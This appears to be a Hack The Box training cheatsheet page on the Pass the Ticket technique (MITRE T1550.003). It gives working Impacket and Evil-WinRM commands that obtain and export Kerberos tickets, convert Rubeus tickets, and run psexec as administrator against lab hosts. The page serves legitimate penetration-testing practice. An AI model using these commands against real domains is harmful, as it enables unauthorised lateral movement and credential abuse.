T1550.003

Pass the Ticket

Sub-technique of T1550 Use Alternate Authentication Material ↗

Using a stolen or forged Kerberos ticket (TGT or service ticket) to authenticate.

How it shows up on Hack The Box

Export the .ccache in KRB5CCNAME and run the tools with -k -no-pass. Remember to sync your clock with the DC (ntpdate or faketime) and use hostnames, not IPs.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Active Directory in depth › Impacket

TGT (and export it) Attacker
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache

Evil-WinRM › Ways to authenticate

With Kerberos (KRB5CCNAME exported and krb5.conf set up)
evil-winrm -i dc01.box.htb -r box.htb

Impacket › More examples

Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Turn a Rubeus ticket (.kirbi) into a Linux one
impacket-ticketConverter ticket.kirbi ticket.ccache

Tools